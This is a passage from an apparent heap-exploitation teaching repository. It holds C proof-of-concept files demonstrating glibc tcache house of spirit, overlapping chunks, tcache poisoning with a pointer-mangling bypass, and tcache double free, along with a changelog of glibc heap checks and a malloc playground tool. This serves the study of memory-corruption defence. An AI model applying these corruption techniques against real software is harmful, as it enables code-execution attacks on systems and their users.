succeed.\n", &fake_chunks[9]); 34 | fake_chunks[9] = 0x1234; // nextsize 35 | 36 | puts("\nStep 3: Free the first fake chunk"); 37 | puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); 38 | void *victim = &fake_chunks[2]; 39 | free(victim); 40 | 41 | puts("\nStep 4: Take out the fake chunk"); 42 | printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]); 43 | printf("malloc can do the trick as well, you just need to do it for 8 times."); 44 | void *allocated = calloc(1, 0x30); 45 | printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); 46 | 47 | assert(allocated == victim); 48 | } 49 | -------------------------------------------------------------------------------- /glibc_2.39/overlapping_chunks.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | A simple tale of overlapping chunk. 4 | This technique is taken from 5 | http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf 6 | 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | int main(int argc , char* argv[]) 16 | { 17 | setbuf(stdout, NULL); 18 | 19 | long *p1,*p2,*p3,*p4; 20 | printf("\nThis is another simple chunks overlapping problem\n"); 21 | printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n" 22 | "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n" 23 | "and the prev_size of it must match the unsortedbin's size\n" 24 | "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n"); 25 | 26 | printf("Let's start to allocate 4 chunks on the heap\n"); 27 | 28 | p1 = malloc(0x80 - 8); 29 | p2 = malloc(0x500 - 8); 30 | p3 = malloc(0x80 - 8); 31 | 32 | printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); 33 | 34 | memset(p1, '1', 0x80 - 8); 35 | memset(p2, '2', 0x500 - 8); 36 | memset(p3, '3', 0x80 - 8); 37 | 38 | printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); 39 | int evil_chunk_size = 0x581; 40 | int evil_region_size = 0x580 - 8; 41 | printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", 42 | evil_chunk_size, evil_region_size); 43 | 44 | /* VULNERABILITY */ 45 | *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 46 | /* VULNERABILITY */ 47 | 48 | printf("\nNow let's free the chunk p2\n"); 49 | free(p2); 50 | printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); 51 | 52 | printf("\nNow let's allocate another chunk with a size equal to the data\n" 53 | "size of the chunk p2 injected size\n"); 54 | printf("This malloc will be served from the previously freed chunk that\n" 55 | "is parked in the unsorted bin which size has been modified by us\n"); 56 | p4 = malloc(evil_region_size); 57 | 58 | printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); 59 | printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); 60 | printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); 61 | 62 | printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," 63 | " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); 64 | 65 | printf("Let's run through an example. Right now, we have:\n"); 66 | printf("p4 = %s\n", (char *)p4); 67 | printf("p3 = %s\n", (char *)p3); 68 | 69 | printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); 70 | memset(p4, '4', evil_region_size); 71 | printf("p4 = %s\n", (char *)p4); 72 | printf("p3 = %s\n", (char *)p3); 73 | 74 | printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); 75 | memset(p3, '3', 80); 76 | printf("p4 = %s\n", (char *)p4); 77 | printf("p3 = %s\n", (char *)p3); 78 | 79 | assert(strstr((char *)p4, (char *)p3)); 80 | } 81 | 82 | 83 | -------------------------------------------------------------------------------- /glibc_2.39/tcache_house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates the house of spirit attack on tcache.\n"); 10 | printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); 11 | printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); 12 | printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); 13 | 14 | printf("Ok. Let's start with the example!.\n\n"); 15 | 16 | 17 | printf("Calling malloc() once so that it sets up its memory.\n"); 18 | malloc(1); 19 | 20 | printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); 21 | unsigned long long *a; //pointer that will be overwritten 22 | unsigned long long fake_chunks[10]; //fake chunk region 23 | 24 | printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); 25 | 26 | printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 27 | printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 28 | fake_chunks[1] = 0x40; // this is the size 29 | 30 | 31 | printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 32 | printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 33 | 34 | a = &fake_chunks[2]; 35 | 36 | printf("Freeing the overwritten pointer.\n"); 37 | free(a); 38 | 39 | printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 40 | void *b = malloc(0x30); 41 | printf("malloc(0x30): %p\n", b); 42 | 43 | assert((long)b == (long)&fake_chunks[2]); 44 | } 45 | -------------------------------------------------------------------------------- /glibc_2.39/tcache_poisoning.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main() 7 | { 8 | // disable buffering 9 | setbuf(stdin, NULL); 10 | setbuf(stdout, NULL); 11 | 12 | printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" 13 | "returning a pointer to an arbitrary location (in this case, the stack).\n" 14 | "The attack is very similar to fastbin corruption attack.\n"); 15 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" 16 | "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); 17 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" 18 | "An heap address leak is needed to perform tcache poisoning.\n" 19 | "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); 20 | 21 | size_t stack_var[0x10]; 22 | size_t *target = NULL; 23 | 24 | // choose a properly aligned target address 25 | for(int i=0; i<0x10; i++) { 26 | if(((long)&stack_var[i] & 0xf) == 0) { 27 | target = &stack_var[i]; 28 | break; 29 | } 30 | } 31 | assert(target != NULL); 32 | 33 | printf("The address we want malloc() to return is %p.\n", target); 34 | 35 | printf("Allocating 2 buffers.\n"); 36 | intptr_t *a = malloc(128); 37 | printf("malloc(128): %p\n", a); 38 | intptr_t *b = malloc(128); 39 | printf("malloc(128): %p\n", b); 40 | 41 | printf("Freeing the buffers...\n"); 42 | free(a); 43 | free(b); 44 | 45 | printf("Now the tcache list has [ %p -> %p ].\n", b, a); 46 | printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 47 | "to point to the location to control (%p).\n", sizeof(intptr_t), b, target); 48 | // VULNERABILITY 49 | // the following operation assumes the address of b is known, which requires a heap leak 50 | b[0] = (intptr_t)((long)target ^ (long)b >> 12); 51 | // VULNERABILITY 52 | printf("Now the tcache list has [ %p -> %p ].\n", b, target); 53 | 54 | printf("1st malloc(128): %p\n", malloc(128)); 55 | printf("Now the tcache list has [ %p ].\n", target); 56 | 57 | intptr_t *c = malloc(128); 58 | printf("2nd malloc(128): %p\n", c); 59 | printf("We got the control\n"); 60 | 61 | assert((long)target == (long)c); 62 | return 0; 63 | } 64 | -------------------------------------------------------------------------------- /glibc_ChangeLog.md: -------------------------------------------------------------------------------- 1 | ChangeLog for relevant heap-protection changes 2 | -------------------------------------------- 3 | 4 | ## Version 2.25 5 | 6 | All attacks in this repo work at least in this version. 7 | 8 | ## Version 2.26 9 | 10 | - tcache (per-thread cache) is introduced (enabled in ubuntu-build since 2.27) 11 | * See [tukan.farm](http://tukan.farm/2017/07/08/tcache/) for a short overview 12 | 13 | 14 | - `unlink(AV, P, BK, FD)`: 15 | * Add size consistency check: 16 | ``` 17 | if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) 18 | malloc_printerr ("corrupted size vs. prev_size"); 19 | ``` 20 | 21 | ## Version 2.27 22 | 23 | - `malloc_consolidate(mstate av)`: 24 | * Add size check when placing chunks into fastbins: 25 | ``` 26 | unsigned int idx = fastbin_index (chunksize (p)); 27 | if ((&fastbin (av, idx)) != fb) 28 | malloc_printerr ("malloc_consolidate(): invalid chunk size"); 29 | ``` 30 | -------------------------------------------------------------------------------- /malloc_playground.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #ifdef __GLIBC__ 7 | # include 8 | # include 9 | void print_mcheck_status(enum mcheck_status s) 10 | { 11 | fprintf(stderr, "%s\n", (s == MCHECK_DISABLED) ? "N/A, you didn't enable mcheck()" : 12 | (s == MCHECK_OK) ? "No inconsistency detected" : 13 | (s == MCHECK_HEAD) ? "Memory preceding an allocated block was clobbered" : 14 | (s == MCHECK_TAIL) ? "Memory following an allocated block was clobbered" : 15 | (s == MCHECK_FREE) ? "A block of memory was freed twice" : 16 | "unknown memory check code!"); 17 | } 18 | void report_mcheck_fail(enum mcheck_status s) 19 | { 20 | fprintf(stderr, "*** PROGRAM WOULD ABORT: "); print_mcheck_status(s); 21 | } 22 | #endif 23 | 24 | int main(int argc, char ** argv) { 25 | 26 | fprintf(stderr, "pid: %d\n", getpid()); 27 | 28 | char buffer[1000]; 29 | while (1) { 30 | fprintf(stderr, "> "); 31 | fgets(buffer, sizeof(buffer), stdin); 32 | char cmd[1000]; 33 | intptr_t arg1, arg2; 34 | int num = sscanf(buffer, "%s %"SCNiPTR" %"SCNiPTR, cmd, &arg1, &arg2); 35 | if (strcmp(cmd, "malloc") == 0) { 36 | void* result = malloc(arg1); 37 | fprintf(stderr, "==> %p\n", result); 38 | } else if (strcmp(cmd, "free") == 0) { 39 | free((void*) arg1); 40 | fprintf(stderr, "==> ok\n"); 41 | } else if (strcmp(cmd, "show") == 0) { 42 | if (num == 2) { 43 | arg2 = 1; 44 | } 45 | long * src = (long*) arg1; 46 | for (int i = 0; i < arg2; i++) { 47 | fprintf(stderr, "%p: %#16.0lx\n", &src[i], src[i]); 48 | } 49 | #ifdef __GLIBC__ 50 | } else if (strcmp(cmd, "usable") == 0) { 51 | fprintf(stderr, "usable size: %zu\n", malloc_usable_size((void*) arg1)); 52 | } else if (strcmp(cmd, "stats") == 0) { 53 | malloc_stats(); 54 | } else if (strcmp(cmd, "info") == 0) { 55 | malloc_info(0, stdout); 56 | } else if (strcmp(cmd, "mcheck") == 0) { 57 | fprintf(stderr, "==> %s\n", mcheck(report_mcheck_fail) == 0 ? "OK" : "ERROR"); 58 | } else if (strcmp(cmd, "mcheck_pedantic") == 0) { 59 | fprintf(stderr, "==> %s\n", mcheck_pedantic(report_mcheck_fail) == 0 ? "OK" : "ERROR"); 60 | } else if (strcmp(cmd, "mprobe") == 0) { 61 | if (num > 1) { 62 | print_mcheck_status(mprobe((void*) arg1)); 63 | } else { 64 | mcheck_check_all(); 65 | fprintf(stderr, "==> check_all ok\n"); 66 | } 67 | #endif 68 | } else { 69 | puts("Commands: malloc n, free p, show p [n], usable p, stats, info, mprobe [p], mcheck, mcheck_pedantic"); 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /obsolete/glibc_2.27/tcache_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | printf("This file demonstrates a simple double-free attack with tcache.\n"); 8 | 9 | printf("Allocating buffer.\n"); 10 | int *a = malloc(8); 11 | 12 | printf("malloc(8): %p\n", a); 13 | printf("Freeing twice...\n"); 14 | free(a); 15 | free(a); 16 | 17 | printf("Now the free list has [ %p, %p ].\n", a, a); 18 | void *b = malloc(8); 19 | void *c = malloc(8); 20 | printf("Next allocated buffers will be same: [ %p, %p ].\n", b, c); 21 | 22 | assert((long)b == (long)c); 23 | return 0; 24 | } 25 | --------------------------------------------------------------------------------